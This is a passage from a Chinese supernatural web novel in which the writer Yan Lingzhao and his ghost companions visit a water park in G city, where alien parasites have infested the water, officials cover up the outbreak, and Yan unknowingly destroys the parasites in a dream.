“你打算怎么处理它?”宴泠昭语气平静的问。
李小虎还没回答,李小虎手中的婴儿不甘受制,见咬不到也抓不着李小虎,突然仰天发出一声刺耳尖啸。无形的音波如利刃刺向在场每个人的耳膜,鬼怪们还好,普通人类听不见倒也无事,只是会莫名感到一阵不适。
宴泠昭就不那么乐观了。他距离最近,又能真实感知到鬼婴的存在,顿时就被那刺耳的尖啸震得耳鸣。
李小虎见状不妙,立刻给了婴儿几个响亮的耳光。
婴儿的尖叫戛然而止,一双眼白都是黑色的眼睛瞪着李小虎,李小虎顿感不好。果不其然,下一秒,婴儿扯着嗓子哇哇大哭起来,这哭声比刚才的尖叫还要刺耳。
“叫什么叫,谁允许你叫了?”李小虎慌得一比,恶狠狠的说道,又给了鬼婴几个大嘴巴子。
宴泠昭用力按了按耳朵,感觉自己好像有点聋了。
李小虎察觉到宴泠昭散发的低气压,更慌了——坏了,宴泠昭要是迁怒他怎么办?
一急之下,李小虎手上的力气不由得加大,一不小心,把鬼婴捏爆了。
血肉飞溅,宴泠昭的衣服、脸、手臂都没能逃脱厄运。
宴泠昭面无表情的看着李小虎。
李小虎默默把手背在身后:qwq
鬼怪死后,尸体很快就会消散。说白了鬼怪的本质是能量体,没有肉身,能量消散完了自然就什么都不剩了。
但不妨碍宴泠昭觉得自己不干净了,一秒都无法忍受,火速下山离开青山公园,打车回酒店洗澡。
回程途中,看着冷漠脸一言不发的宴泠昭,李小虎冷汗直流,觉得自己好像、大概、可能、应该要完蛋了。
至于他为什么要抓鬼婴:鬼婴小小的,与小型狗成年体差不多,且一样都是四条腿在地上爬。
李小虎一时心血来潮想抓来当狗玩。谁让宴泠昭不让他对人类动手,也不让对其他生命动手,那对同类下手总没问题了吧。
说辞他都想好了——就说是为民除害。他也确实是在做好事,那个婴儿一直附在小孩身上,时间长下去,那孩子就要被折磨死了。
谁想鬼婴实在是太吵了
回到酒店后,李小虎忐忑不安的等宴泠昭洗完澡出来宣判结果。
其他鬼怪都对他视而不理,只有李奶奶还搭理他,但李小虎觉得奶奶还不如不理他——奶奶语气颤抖,但满脸兴奋的说如果宴泠昭要动手,她会毛遂自荐,争取让李小虎死得痛痛快快的,少受罪。
李小虎:我就不能不死吗!
宴泠昭在浴室里将皮肤都搓得发红了才出来。令人意外的是,他并没有责怪李小虎,因为不管李小虎的初衷如何,他确实帮助了别人。
做好挨骂准备的李小虎并没有迎来想象中的狂风暴雨,跟宴泠昭道了歉后痛定思痛,暗暗发誓下次一定听话还有,宴泠昭可真是个好人啊,他在也不悄悄骂宴泠昭了。
然后第二天,宴泠昭出去玩时并没有带他。
第三天、第四天、第五天同样如此。
李小虎快疯了。
补药啊!这和杀了他有什么区别?关键是大家都有的玩,就他没有,心里不平衡,要爆炸了!
晚上吃饭时被放出来,李小虎抱着宴泠昭的大腿嚎啕大哭。
“我再也不敢了,你再信我最后一次!”
宴泠昭静静看着他表演,不过想到李小虎也算是帮了人,最终松了口:“你自己说的,最后一次。”
李小虎含着眼泪用力点头:“嗯嗯!”
***
第六天是个难得的大晴天。前几日一直淅淅沥沥的下小雨,而即使不下雨天空也是阴沉沉的,是以难得迎来一个晴天,宴泠昭的心情不免上升了一些。
他原本的计划是去看瀑布,但刚出酒店大门就被烈日晒得几乎化掉,顿时不由得产生了退却心理。
就在这时,路边有人分发传单,正好递给了他。宴泠昭接过一看,宣传的是一家水上乐园。
这样的天气确实适合玩水。现在时间也还早,才十点多,要不不去看瀑布了,改去水上乐园?
宴泠昭沉思了几秒,做出了决定。
***
按照传单上的地址打车过去。水上乐园开在偏郊区的地方。
下了车,炽烈的热浪迎面扑来,仿佛一堵无形的火墙,几乎让宴泠昭产生皮肤被灼伤的错觉。
不远处传来人们的欢声笑语、水花飞溅的声响、游客们惊喜的呼喊,以及各种机械设备运转的声音,好不热闹。
李小虎眼中闪烁着难以掩饰的兴奋光芒,迫不及待的想要冲进去,但这次他克制住了自己,规规矩矩的跟在宴泠昭身旁,没有发出半点声音。
宴泠昭意外的看了他一眼,随后领着众鬼往里走。
买完票,跨过检票通道,眼前溅起晶莹的水花,折射出无数细小的彩虹。
李小虎欢呼一声,转头朝宴泠昭征求道:“我可以去玩了吗?”
宴泠昭神情认真的嘱咐他:“不要伤害别人,不要吓到别人,就像个普通人一样,听懂了吗?”
李小虎连连点头:“嗯嗯,我懂的,那我去啦!”说罢,便兴冲冲的跑向儿童区,那里小孩子玩的设施多,自然很吸引小孩。
宴泠昭转身面向其余鬼怪:“你们呢?”
何老爷子指了指旁边的指示牌:“有温泉区,我这把年纪,不适合玩这些刺激的项目,我去泡温泉。”
王大爷也是这个想法,两人结伴同去。
李奶奶望着李小虎离开的方向:“我不放心那孩子,我去看着他。”说着,跟李小虎身后而去。
田燕婉环顾四周,轻声道:“我去深水区游泳。”
手机鬼则看上了大回环滑梯,跑去排队了。
众鬼各自散去,留宴泠昭一个人,宴泠昭却并不感到孤独,相反松了口气。他更喜欢一个人。
好了,他玩什么呢?
想了想,宴泠昭按照指示牌上的介绍,前往冲浪区。
与此同时。
园区前厅,几个身穿正装的公职人员大步走了进来,径直走到接待台前。领头的中年男子从口袋中取出证件,向前台服务员展示后,语气严肃的道:“最近这段时间我们不是已经通知了禁止开办水上乐园么,为什么你们没关门还在经营?管理人是谁?”
【作者有话说】
感谢支持~[撒花]
50-60
51 第 51 章
◎全部寄生◎
水面之下, 一场无形的灾难正在悄然蔓延。
——无数透明的寄生卵如微尘般漂浮其中,这些卵形状如同橄榄, 大小不过微米,浮在水面、沉在水底、飘在水中,耐心等待宿主的接触,而只要与宿主触碰,它们便能顺着宿主的嘴巴、眼睛、耳朵进入宿主体内,完成初步寄生。
孵化后的卵幼体细长, 通体漆黑,表面遍布细小的触手,每根触手末端都有个小勾,能帮助它们有效固定在宿主的器官壁上。
实际上, G市“水质污染事件”的真相远比公众所知的复杂得多。
三周前,《水鬼》完结后, 朱德宏就立即与G市政府建立了联合调查组, 不惜一切代价花费巨资检验了G市所有水域, 果不其然发现了异常,后经实验室分析后确认这不属于地球已知生物谱系,不出意外就是《水鬼》篇真正“主角”的子嗣了。
更糟的是,全市水系统都有不同程度的感染, 已经控制不住了。
情况危机, 国家应急响应小组迅速成立, 军、政、医多部门联合行动。
考虑到真相可能引发的社会恐慌,官方决定实施信息管控, 对外宣称“蓝天化工厂违规排污导致水体污染”, 建议居民将水煮沸后再使用, 同时下令暂停G市一切水上娱乐活动。
“预计两周内情况能得到控制。”主持应急会议的吴部长在会议结束时说道, “关键是绝对不能让水上娱乐场所继续营业,一旦大规模感染,后果不堪设想。”
然而,总有人小心思不断。
郊区这家名为“极光飞瀑”的水上乐园,在接到关停通知后就并未按要求执行。乐园经理钱明凯认为官方反应过度,且眼下正值盈利旺季,选择了冒险继续营业。
——没人知道,游客里有一位姓陈的中年男子在三周前就被感染。现在,他体内的卵已经孵化,最强的那个寄生体占据了他的整个左肺,细长的触手延伸至心脏周围和脊柱,只要它稍微用点力,就能瞬间夺走陈先生的生命。
值得一提的是陈先生体内也只有这一个寄生体了。因为同一宿主体内只能存活一个主导寄生体,而当新的寄生卵进入已被占据的宿主体内,先来者会释放特殊的化学物质标记领地,新生寄生体发育到一定阶段后会感知到这些信号,随即展开一场无声的厮杀,先寄生者通常占据优势,它会将后来者吞噬,吸收其养分进一步壮大自己。
陈先生并不知道自己体内正上演着残酷的斗争,他只是偶尔感到些许胸闷,但很快这种不适就会消散——这是因为寄生体能释放一种复杂的神经抑制物质,不仅能麻痹宿主的痛感,甚至能干扰大脑的认知功能,让宿主忽视身体发出的警告信号。
最可怕的是,随着寄生时间延长,这些物质甚至能潜移默化的改变宿主的思维模式,让宿主下意识的做出有利于寄生体生存的行为。
陈先生今天来水上乐园的决定,就是受到了这种“潜意识”的操控。
极光飞瀑水上乐园内游客的欢声笑语仍在继续,彩色的遮阳伞点缀在池边,儿童戏水区的小喷泉喷吐着水花,滑道上游客的尖叫声此起彼伏。没有人意识到危险已近在咫尺。
冲浪区,人造海浪每隔几分钟就会推开一道颇具高度差的波澜。
陈先生和宴泠昭迎着同一波浪潮起伏。一阵轻飘飘的失重感后,陈先生突然感到胸口发疼,不舒服地皱起眉头。
这是因为他的胸腔内,那个已发育成熟的寄生体开始蠢蠢欲动,准备诞生了。它的触手轻轻搅动着周围的肺组织,找寻合适的角度破体而出。
陈先生的眼神开始变得涣散,他机械的漂浮在水面上,手指无意识地抽搐。
就在寄生体即将动手的刹那,它突然停下了所有动作。
一种前所未有的危机感穿透它的全身,共同意识网传来的警告信号发出尖啸,提醒它附近有个极度危险的存在,不可暴露。
寄生体在恐惧中抖成了筛子,回过神后,它迅速缩回所有触手,如同受惊的海葵,终止了原本的破体计划。并将这一消息上传共同意识网,警告水上乐园的其它同类。
很快,无声的共识在所有寄生体间形成:保持隐蔽,减缓活动,不要引起那个存在的注意。
宴泠昭凫着水,突然,一种微妙的说不上来的感觉犹如一串细微的电流掠过他的神经。
他警觉的环顾四周,目光扫过附近的游泳者,又落在水面上微微荡漾的波纹上
一切如常,没有任何异样。
收回视线,宴泠昭将这份莫名的微妙感抛诸脑后。
可能只是错觉吧,他想着,重新投入到冲浪的乐趣中。
他不知道的是,就在这短短的一瞬间,他不经意间影响了寄生体的行动计划,扭转了即将发生的灾难进程。
而陈先生体内成熟的寄生体所发出的警示,也仅限于同样发育成熟的个体知道,因为幼体无法与共同意识网建立连接,它们的感知能力极为有限,只遵循最基本的本能。至于那些甚至没有孵化的卵,连最初级的意识都未形成,更无法接收到任何信号。
因此,无数微小的寄生卵仍在水中漂浮,本能的寻找宿主,依照“就近原则”,毫无戒备的向宴泠昭靠近,无知无觉的试图侵入这个普通人类的身体。
但每当它们接触到宴泠昭时,就如同撞上了无形的能量屏障——
卵膜在接触的刹那出现微小的裂痕,随后如同被巨大压力碾压般急剧收缩,内部结构在瞬间崩溃,一瞬间便化为尘埃。
这一切都发生在微观层面,宴泠昭自己丝毫没有察觉到这场正在他身体表面进行的单方面屠杀。
非要说的话,偶尔会感到水面有些异常的温暖,或是皮肤上有轻微的刺痒感,但这些微弱的感觉很快就被水流的活动所掩盖。
与此同时,官方人员被带到经理办公室。
“钱经理,我们三周前就下发了紧急关停通知,你们为什么还在营业?”为首的中年男人语气严肃,将一份盖着红色公章的文件拍在桌上,“这已经构成了违法行为,情节严重!”
钱明凯满头大汗,不安地搓着手:“李处长,您听我解释,我们已经在准备关停了,只是有些预订的客户无法联系上,今天这些都是之前就”
“我没工夫听你狡辩,给你们五分钟通知全园停业,立刻疏散所有游客。”中年男人打断了他的辩解,语气不容置疑,“再拖延我们就依法强制执行,并追究相关责任人的法律责任!”
钱明凯面如土色,连声应是。
八分钟后。
“尊敬的各位游客,非常抱歉通知您,由于发现水质存在潜在污染问题,为了您的健康安全,本园区即刻关闭,请大家在工作人员的引导下有序离场。我们将全额退还门票费用请大家理解和配合,谢谢。”
广播声回荡在整个园区上空。儿童池里的孩童们发出失望的叹息,滑道上的队伍开始骚动,泳池中的游客困惑地抬起头。
“搞什么?我们才来不到一小时!”
“我们可是开了三小时车过来的!”
“水质有问题?卧槽,太可怕了,别待了,安全重要。”
惊讶、不满、抱怨的声音此起彼伏,但在强调“健康风险”的前提下,多数人还是配合了疏散。一些游客开始收拾物品,朝更衣室方向移动。
冲浪区。
宴泠昭刚刚起身,便看到工作人员焦急地挥手示意大家离开。他转头看向身旁的陈先生,发现对方一动不动,似乎没有听见广播。
“先生,你没事吧?”宴泠昭问道,“园区要关闭了,我们得离开了。”
陈先生缓缓转头,神情恍惚的看了宴泠昭一眼,反应迟钝的“哦”了一声,而后慢吞吞的跟在宴泠昭后面离开水池。
幸运的是,今天园内游客总数不到200人,疏散工作相对顺利。官方人员这边也已经联系了附近的医院,为游客们安排紧急体检。
在水上乐园管理层的配合下,李处长设计了一个“安抚方案”:以水上乐园的名义,为所有游客提供免费体检服务,承诺任何因水质问题导致的健康损失全部赔付。这一措施暂时平息了游客的不满情绪。
“大家请注意,为确保您的健康安全,我们已与第三人民医院联合设立了绿色通道,请大家有序乘坐我们提供的免费班车前往检查,全程费用由我们承担”园区广播再次响起。
一小时后。
G市第二人民医院特设检查室内,检查正在紧锣密鼓的进行。医院调动了所有可用的CT设备和内窥镜检查仪器,为游客们检查。
第一批五十名游客的结果很快出炉,张主任面色凝重,手中的报告单微微颤抖。
“全部都检测到被寄生迹象。”他喉咙发紧的说。
旁边的李处长脸色难看:“全部?你确定?”
“是的。”张主任回答,“而且。”他顿了顿,声音更低了,“有名叫陈国斌的游客情况最严重,寄生体已经占据了他大部分左肺,估计很快就要出来了。”
“我知道了。”李处长点了下头,拿出手机打了通电话,“情况比预估的要严重得多,可能需要考虑隔离措施了”
医院大厅候诊区,游客们排队等待检查。
宴泠昭静静坐在候诊室的角落,内心毫无波澜。虽然这种突发状况令人心烦,无论检查结果如何都相当影响情绪,但他出行前就已预想过各种可能的意外情形,所以眼下真出意外了,倒也还好。
鬼怪们他也早就收回体内了,尽管他们在外表上能够完美的模仿常人,但本质上毕竟不是人,各项检查下来很容易被发现。
至于会不会有人注意到,宴泠昭认为概率极小。一百多名游客数量也不少了,而且谁会特意去清点每一个面孔?也记不住。
再不行,即使真有人发现了什么,他也可以请朱德宏出面协调。
候诊室的电子显示屏闪烁了一下,随后显示出新的批次号码。同时,一位穿着淡蓝色制服的护士推开双层门,走了出来。
“和之前一样,你们随便五十个人跟我来!”她用最大的音量说道。
52 第 52 章
◎蟑螂爬满他的家◎
宴泠昭跟随着人流进入检查区。整个过程出奇的快速, 几乎可以说是粗略——医护人员只是简单的采集血样、测量体温,然后进行一次快速的全身扫描就结束了。
看来问题不大。宴泠昭想。
这就好, 不然要是好不容易出来玩一趟把身体给玩坏了,遭的还是无妄之灾,那就真是太倒霉了。
检查结束后,护士们将这批人引导至另一个房间。房间里已坐满了先前检查的人员。
因为宴泠昭这批人是最后一批,所以不用再等了。身着白大褂的中年医生站在前方面朝众人,身边是两名穿着正装的官员。
医生神色正常, 语调平和的道:
“各位游客朋友们,首先感谢大家的配合。经过初步检查,我们发现水上乐园的水体确实存在轻微的污染问题,但情况并不严重, 请大家不必过度担心。”
医生刻意放缓语气,似乎在安抚众人的情绪:“不过以防万一, 我们给大家准备了一种免疫增强剂。这是医院与G市生物研究所联合研发的最新药, 将在未来投入市场, 已经做过临床试验对人体无副作用,大家可以放心服用。”
说完,护士们开始分发小型塑料杯和装有蓝色胶囊的药盒。
宴泠昭接过药物,将胶囊放在掌心好奇的观察。
胶囊的外壳是深蓝色, 形状是经典的长条形, 总的来说平平无奇。
和宴泠昭一样举动的人不在少数。医护人员的目光扫试着众人, 特别关注那些接过药物后犹豫不决的人。
——寄生体是能影响、改变宿主的行为的,如果有人不愿意吃, 那待会可走不了。
就在药物分发进行时, 房间外突然传来一阵骚动。接着, 宴泠昭看到几位医护人员推着一辆医用平车匆匆经过门口, 车上躺着一个人,面色灰白,尽管只是短暂的一眼,但宴泠昭依旧认出车上那人似乎是他在冲浪池提醒过的中年男人。
同时推着车快速经过门口的医护人员虽刻意压低了声音,然而宴泠昭位置靠近门口,加上听力好,是以依稀捕捉到了几个不清晰的片段:
“陈国斌情况恶化”
“常规药物无效”
“立即转入特别隔离病房”
宴泠昭想听得更清楚,身体不自觉往那方向倾斜,这时一位护士走过来关上了房间的门,切断了外面的声音和画面,然后对着房间内略显不安的人群微笑道:
“请大家不要担心,只是那位患者本身就患有一些健康问题,这会儿是突然发作了。”
不是水上乐园的水引起的就好。
宴泠昭不再犹豫,将胶囊送入口中,配水咽下。周围的人们也陆续服药。
过了约二十分钟,医护人员开始为服药者进行复检。
一位年轻医生拿着检测设备走到宴泠昭面前,礼貌的请宴泠昭伸出手臂。设备发出轻微的嗡嗡声,随后显示屏上闪烁出一组数据。
医生的表情微微变化了一下,礼貌的微笑道:“您的检查结果很好,请稍等。”
说完他转身走到房间角落,与另一位同事凑在一起,背对着宴泠昭,低声交谈起来。
宴泠昭虽然听不清具体内容,但从他们频繁回头看向自己的这一举措中不难判断,话题与他有关。
片刻后,那位医生又走到官员身边说了几句话,然后带着其中一个官员走了过来。
“你好。”医生打了声招呼,和气的说道,“您的情况非常好,我们想做一些额外的常规检查别误会,只是其他人都有不同程度的感染,而您没有一点感染,我们猜测您是不是有这方面的抗体,所以想检查看看。如果您愿意配合就再好不过了,不愿意也没关系。”
这点小事宴泠昭当然愿意,又没什么损失
一间单独的检查室内,好几名医生对宴泠昭进行了更详细的检查。他们全程保持着礼貌却疏远的态度,彼此间交流时要么低声耳语,要么使用医学术语,显然不希望宴泠昭理解他们的交谈内容。
检查完成后,一名医生对宴泠昭说:“感谢您的配合。您的健康状况也非常理想,我们会安排专车送您回家。”
宴泠昭点了点头,并注意到桌上有一份文件被迅速收起,是刚才有人从外面拿进来的。
离开检查室后,一位年轻的护士接替了医生的工作,引导宴泠昭前往医院出口。
途中经过了一条明显不对外开放的走廊——他过来时走的也是这条道。
走廊上看不到除了医院工作人员以外的人,而工作人员也很少,基本只有几个,而这几个也是步履匆匆一副很忙碌的样子;地面上醒目的黄色警戒线勾勒出隔离界限,线内每隔几米就标注着“禁止进入”、“未经许可禁止通行”等警示语。
天花板上的紫外线消毒灯间歇性的闪烁着冷酷的蓝光,走廊两侧的房门紧闭,门上的电子锁显示着红色的锁定状态。
空气中弥漫着刺鼻的消毒水气味,好像比医院其他区域都要浓烈,还掺杂着一股说不出来的味道。
就在即将到达走廊尽头准备拐弯下楼时,宴泠昭注意到左侧一扇房门未完全闭合,留下了约两厘米的缝隙。
宴泠昭虽然好奇,却也没说非得看上几眼,很快就收回了目光。
而如果他继续看下去,就能看到房间里全副武装的医护人员围在一张病床旁,床上躺着的中年男子就是他在冲浪区水池里提醒过的那个。男人的胸部被一种透明的隔离罩覆盖,罩内似乎有什么东西在蠕动。
墙上的监护仪器不断闪烁着红色警示灯,数字和波形图快速变化。
一位医生正举着某种注射装置,那装置中的液体呈现出与宴泠昭先前服下的胶囊相同的深蓝色。
“快,第四剂!寄生体开始分解了,但速度不够快!”
“病人生命体征不稳定,心率持续攀升!”
“给我肾上腺素”
下楼下到一半,一声凄厉的尖叫从楼上传来,那声音像是有人痛苦的哀嚎,又夹杂着某种诡异的嘶鸣声。随后是一阵紧急的警报声和医护人员急促的脚步声。
宴泠昭不由得停下脚步抬头看了眼。
***
回到酒店,宴泠昭的手机响起。是朱德宏。
“玩的怎么样?”朱德宏的声音听起来很放松,就好像是随口一问,只有他知道自己有多紧张。
“挺好的。”宴泠昭平静的回答,“不过今天在水上乐园遇到了一些麻烦。听说水质有问题。”
“G市最近是这样,有个化工厂偷偷违法排污,新闻有报道,所以现在整个G市对这方面管得很严。”朱德宏语气自然的解释,“后面呢?你做检查了吗?没有的话回来做。”
宴泠昭:“水上乐园给我们所有游客提供了体检服务,检查后我很健康,别人好像多多少少都有些问题,医生说我体内可能有抗体什么的。”
“是吗,人与人的体质确实不一样,你运气挺好。”
后面寒暄了几句,朱德宏问宴泠昭之后有什么计划。
宴泠昭想了想,说:“我准备明天去看瀑布,如果天气好的话。”
“G市的瀑布名气很大,是值得一看。”
又聊了会,挂断电话后,宴泠昭坐在窗前看城市景色。该说不说G市不愧山城之名,山确实很多山,与一马平川的B市相比风格差距很大。换句话说新鲜,可以多看几眼。
另一边。
朱德宏坐在办公桌前,重重的叹了口气。桌面上散落着关于G市寄生体事件的紧急报告,每一页都标注着“绝密”字样。
阳光穿过百叶窗落在他身上,在他疲惫的脸上投下条状阴影,如同一道道无形的枷锁
要不是这次大规模感染事件情况严重,引发连锁通报,他甚至都没有想起来要关注宴泠昭的行踪。
就好像有一股无形的力量,让他对这件事产生了异常的疏忽。
反应过来后,朱德宏惊出了一身冷汗。因为他清楚的记得,最初得知宴泠昭要前往G市时,他是准备阻止的。但是后来,自己的态度却莫名其妙的转变了,甚至祝福宴泠昭旅途愉快,完全没有意识到其中的反常。
这摆明了有问题。
至于宴泠昭为何能在所有游客都感染的情况下独免于难,答案显而易见——多半是他体内的诡异出的手。这自然就与所谓的抗体毫无关系。
再者,关于宴泠昭的身体状况,他们早就进行了细致的检测与分析,了解得一清二楚。
宴泠昭有没有特殊抗体他们还能不知道吗?
只是由于事关重大,所有关于宴泠昭的资料都被列为最高机密,仅向特定人员开放。G市那边无从得知他的情况,才会进行那一系列多余的检查。幸好他及时派人送去了相关证明文件,宴泠昭才得以顺利离开,不然真做个“全身检”,没有两三天可下不来。
话说回来,最令朱德宏不安的是,当他意识到问题再次打算让宴泠昭回来时,又一次发生了诡异的事情——他的想法在电话中还未说出口,就被某种无形的力量抹去,脱口而出的竟是鼓励宴泠昭继续旅行的话。
直到通话结束后,他才猛然回神,意识到自己又一次被干扰了。
这种情况已经超出了普通诡异的能力范畴。截至目前,即使是最强大的鬼怪,也没有能力如此自由的操纵人类的意识,不然人类早完蛋了不对,不是没有。
“月神”和“日神”不就是么,不可观测、不可直视,敢就原地爆炸。
朱德宏的心情沉入谷底。他将额头抵在交叉的手指上,一阵阵刺痛从太阳穴扩散开来。
人类真的还有未来么
天色渐晚,云霞如同被洒了一层金粉,将G市的天际线镀上一层温暖的光晕。
宴泠昭走进一家当地居民推荐的小餐馆,店面不大但装修别致,木质桌椅透着淳朴的气息,墙上挂着几幅手绘的山水画,颇具当地特色。
宴泠昭坐下后点了几道特色菜。
不得不说G市的饮食很符合他的口味,菜式还都是非常下饭的那种,宴泠昭没忍住多吃了一碗。
肚子有些撑,宴泠昭在外面多散了一会步才返回酒店。
回到酒店时差不多快九点,他洗了个热水澡,然后躺在床上刷了会儿手机,浏览着G市的旅游信息,为明天的行程做最后确认。
夜色渐深,倦意袭来,宴泠昭放下手机,关灯入睡。
时间一分一秒的流逝,房间里宴泠昭的呼吸声逐渐变得平缓绵长,证明他已然熟睡。
而睡得很熟的宴泠昭正在做梦。
和飞机上那次的梦很相似——他悬浮在无边的虚空中,与硕大的太阳面对面。
不同于现实中不可直视的耀眼光芒,梦中的太阳呈现出一种可以直接凝视的温和金色,表面流动着精致的纹路,如同一件精心雕琢的艺术品。
就在他欣赏这幅瑰丽景象的时候,一道黑色的裂缝突然出现在太阳背后,如同绸缎被锋利刀刃划开,无数漆黑的触手从那道裂缝中蜿蜒伸出,每一根都散发着令人作呕的异质感,表面覆盖着细小的吸盘和倒刺。
触手们蠕动着,迅速缠绕向金色的太阳,贪婪而不知疲倦的将太阳层层包裹。黑暗开始吞噬光明,那种景象让宴泠昭感到一种发自内心的厌恶与愤怒,就好像看到自己精心打理的家园被肮脏的害虫侵占。
还没等他采取行动,那被黑色触手完全包裹的太阳突然剧烈地震颤起来。随后,更为恶心的一幕出现了:无数椭圆形的黑色物体从触手与太阳的连接处脱落下来,朝四面八方散去,坠落过程中物体的颜色逐渐淡化,直至透明。
这画面好比看到一只肥大的蟑螂身上掉落无数卵鞘,每一个卵鞘中都孕育着数十只幼虫,等待着孵化。他几乎能预见这些“卵鞘”一旦找到合适的栖息地,便会迅速繁衍,爬满他的家。
这个认知让宴泠昭难以承受。
他的意识开始颤抖,一种近乎疯狂的冲动在他体内积聚——想要撕碎、摧毁、净化这一切污秽。
他感到自己的形体开始扭曲、膨胀,仿佛有什么东西将从这副驱壳中挣脱出来。
这样也好,体型大了更好收拾“蟑螂”。
宴泠昭举起手,本来想一巴掌拍下去,但突然想到这样做不仅会弄脏自己的手,还会把里面的太阳也一同拍碎,这样就不好了,他还是很喜欢太阳的。
于是他不得不思考别的办法。很快,一个熟悉的日常物品形象逐渐在他脑海中成形:电蚊拍。
这个想法刚一形成,宴泠昭便意识到什么,望向自己的手,只见他的手变成了网球拍但比例更为夸张。
还差点电。
于是他那变成“网球拍”的手网面上开始闪烁夺目的蓝色光芒。
这下宴泠昭满意了,挥动这把超大型电蚊拍、啊不对,电蟑螂拍,在空中随意晃了几下,顿时响起一系列噼里啪啦的声音。
效果不错。
——从空中到处都是的“卵鞘”中试探完威力,宴泠昭转头看向“黑太阳”。
翌日一早,宴泠昭醒来,本能地想伸展一下身体,却在抬起右臂的瞬间感到一阵异常的酸痛。
嗯?他昨天没有超负荷使用右手吧?
【作者有话说】
感谢支持[摊手[化了]
53 第 53 章
◎苍珥万象九重终焉阒阴至尊◎
因为右手不适, 宴泠昭决定放弃今天的行程,转而留在酒店专心创作——出发前, 他特意将笔记本电脑纳入行李,就是为了能在旅行期间保持小说的稳定更新。
而这几天的四处游览,宴泠昭也确实做到了按时更新。今天,他准备完成《寄生》的最终章。
打开电脑,调出事先准备好的大纲仔细阅读,让整体思路在脑海中更加清晰。
半晌, 宴泠昭关闭大纲,手指落在键盘上,房间里顿时响起一阵连续敲击的声音。
两小时后,宴泠昭敲下最后一个句号, 这篇关于水与恐惧的故事到此落幕。
随后,他将光标移回文章开头, 开始通读全篇。过程中, 他不断调整一些语句不通的段落、替换一些不够贴切的形容词、修正偶尔出现的错别字如此, 又过了十多分钟。
确认无误后,宴泠昭复制全文,打开作者后台,粘贴进发布框, 再次检查格式, 然后点击发布按钮。
完成。
习惯性伸了个懒腰舒展身体, 不出意外牵动了右臂,酸痛让他不由得皱了下眉, 才想起自己今天不出门就是因为手不舒服。
难道是昨天冲浪的时候扭到了?他疑惑的想, 轻轻揉按着疼痛处。还是昨天吃的药有副作用?
短暂的思索后, 宴泠昭不再纠结此事。
算了, 休养几天应该就好了。
将这个小问题抛诸脑后,宴泠昭打开手机上的外卖平台,点了一杯咖啡。
虽然酒店有免费餐厅服务(其实是包含在房费里),餐厅也供咖啡,但他懒得跑。是的,不知道为什么,今天突然又没了前几天的冲劲,感觉坐电梯下楼都很麻烦。
可能是因为身体(手)不舒服?
等待外卖送达的间隙,宴泠昭躺在沙发上刷短视频消磨时间。
不得不说对于他这样的阿宅而言,了解外界变化的主要途径就是通过各类网络平台。
话说不知道是不是由于他定位在G市,大数据算法推送给他的内容多半与当地相关。
宴泠昭漫不经心的向下滑动,已经掠过三个视频,正准备滑向第四个时,他的动作突然停住,拇指悬在半空,让视频自动弹回原位。
【红阳媒体:关于国宝大熊猫和国宝绿孔雀打架采访。
被采访的是园区工作人员,工作人员说:“可能是最近发情期到了,琪琪因为躁动飞出了自己的场地,然后巧合地飞进了熊猫馆,才酿成惨祸”】
发情期?这个月份?
宴泠昭记得不是很清楚,为了确认自己的疑惑,他打开浏览器,搜索孔雀发情期。果然,资料显示孔雀通常在四、五月份发情。
而现在都九月末快十月份了。
不过尽管如此,宴泠昭知道自己并非动物行为学专家,或许有些特殊情况是他不了解的。是以,满足了这点好奇心后,他便继续浏览其它内容了,甚至懒得查看视频下方的评论区。
不知不觉,房门突然传来轻叩声。
宴泠昭起身去开门。
门外站着一位身着制服的酒店服务员,手中提着一个纸袋。
“请问是宴先生吗?您点的外卖。”服务员礼貌的微笑道。
宴泠昭住的是星级酒店,规定外来人员不得随意进入,所以如果客人点外卖,外卖员只需送到前台,再由前台转交给顾客即可。
宴泠昭接过纸袋,道了声谢谢。
服务员以专业的微笑回应:“不用谢,祝您用餐愉快。”随后转身离开,宴泠昭则关上房门。
转身回屋,将纸袋放在桌上拆开,取出里面的纸杯,接着插入吸管,浅尝一口,嗯就是咖啡的味道。
宴泠昭端着杯子走向沙发,这时,窗外的天气骤然变化:原本晴朗的天空被厚重的乌云迅速覆盖,阳光刹那间被吞噬,整个城市仿佛被笼罩在阴影之下。
随之而来的是狂风呼啸,雨滴无情地拍打窗户玻璃。路上的行人纷纷加快脚步,慌忙寻找避雨处。
短短几分钟,街道上就已形成一道道“小溪流”,彰显着这场暴雨的猛烈。
幸好今天没出门。
这么说,还得感谢他不知原因酸痛的右手
收回目光,舒适地坐到沙发上,宴泠昭一手握着温暖的咖啡,一手继续刷视频,好不悠闲。
***
时间倒转至昨晚凌晨二时三十一分。
G市第二人民医院,特殊重症病房。
陈国斌的身体被各种医疗设备包围,管道和导线如蛛网般连接着他的每一个重要器官。而他本人已陷入深度昏迷,面色苍白如纸,情况非常糟糕。
监护仪上给出的数据更是令人心惊胆跳。
主治医生此刻面临着一个残酷的两难选择:
如果药剂的现有剂量无效,他必须考虑增加用量。然而,这种特殊药物虽然能有效对抗寄生体,但对人体的负担极其沉重。加大剂量可能会直接导致多器官衰竭,但不加大剂量,陈国斌体内那个已经成熟的寄生体必然会破体而出,造成同样致命的后果。
换言之,无论哪种选择,陈国斌的生存几率都微乎其微。
医生紧盯着监护仪上代表寄生体活性的数字,心跳随着那不断上升的数值加速。
67686970
数字持续攀升,医生额头布满细密的汗珠。
8889
整个医疗团队陷入死一般的沉默,只有心电监护仪发出规律的“嘀嘀”声,如同死亡倒计时。
99
医生深吸一口气,手指已经准备好随时推进药剂。房间内的所有医护人员均屏住呼吸,期待着奇迹的发生。
然而——
100。
尖锐的警报声如同死神的宣告,刺破了病房内紧绷的寂静。主治医生咬紧牙关,举起注射器,针头已对准陈国斌的静脉通路。
就在这千钧一发之际,监护仪上那代表寄生体活性的数字,突然从100开始急剧下降。
999587
医护人员难以置信的看着这串数字以前所未有的速度急速降低,不敢相信自己的眼睛。
654123
没有外部干预,没有增加药剂,这真的就是奇迹!
10520。
警报声停止,监护仪重新恢复平稳的节奏。陈国斌的生命体征就此稳定了下来,呼吸也变得规律,血氧饱和度回升,心率正常化。
在场所有人目瞪口呆,主治医生手中的注射器更是差点滑落。回过神来后,他迅速下令进行全身扫描,结果更是令人惊异——那个曾占据陈国斌左肺大部分区域的寄生体已经完全消失,仅留下少量无害的残余物质,就像被某种力量彻底分解了一样。
窗外,一轮满月高悬夜空,光芒异常明亮
***
手臂的酸痛比宴泠昭想象中好得快。他原本预计这种不适至少需要五六天才能缓解,然而次日醒来,症状就已经完全消失了。
